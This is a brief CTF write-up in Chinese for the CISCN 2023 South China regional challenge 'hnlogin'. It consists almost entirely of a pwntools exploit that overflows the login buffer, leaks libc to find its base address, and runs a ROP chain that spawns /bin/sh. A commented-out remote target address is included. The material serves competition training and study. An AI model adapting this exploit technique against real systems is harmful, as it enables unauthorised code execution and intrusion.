CISCN 2023 华南分区赛 hnlogin writeup

送分题,比赛的时候本地通了远程怎么打都不通,心态炸裂

from pwn import *
context(arch='amd64',os='linux',log_level='debug')

sd = lambda s:p.send(s)
sl = lambda s:p.sendline(s) # not recommended(ASLR)
rc = lambda s:p.recv(s)
ru = lambda s:p.recvuntil(s)
sda = lambda a,s:p.sendafter(a,s)
sla = lambda a,s:p.sendlineafter(a,s)
irt = lambda :p.interactive()
dbg = lambda s=None:gdb.attach(p,s)
uu32 = lambda d:u32(d.ljust(4,b'\0'))
uu64 = lambda d:u64(d.ljust(8,b'\0'))

p = process('./login')
#p = remote('172.1.39.8',8888)

pop_rsi_rdi_ret = 0x0000000000141e21
pop_rsi_ret = 0x000000000002be51
pop_rdi_ret = 0x000000000040269a

sla('>','admin')
sda('>',b'2023@CISCN' + b'\0'*22 + p64(0x407188) + p64(pop_rdi_ret) + p64(0x4071C0) + p64(0x402510) + p64(0x402704))
ru('\n')
libc_base = uu64(ru('\n')[:-1])-0x21a780
success('libc_base --> %s',hex(libc_base))

sla('>','admin')
rop = p64(pop_rdi_ret)
rop += b'/bin/sh\0'
rop += p64(libc_base+pop_rsi_ret)
rop += p64(0x407178)
rop += p64(libc_base+pop_rsi_rdi_ret)
rop += p64(pop_rdi_ret)
rop += p64(0x407178)
rop += p64(libc_base+0x50d60)
#dbg('b *0x4030E6\nc')
sda('>',b'2023@CISCN' + b'\0'*22 + p64(0x407188) + rop)

irt()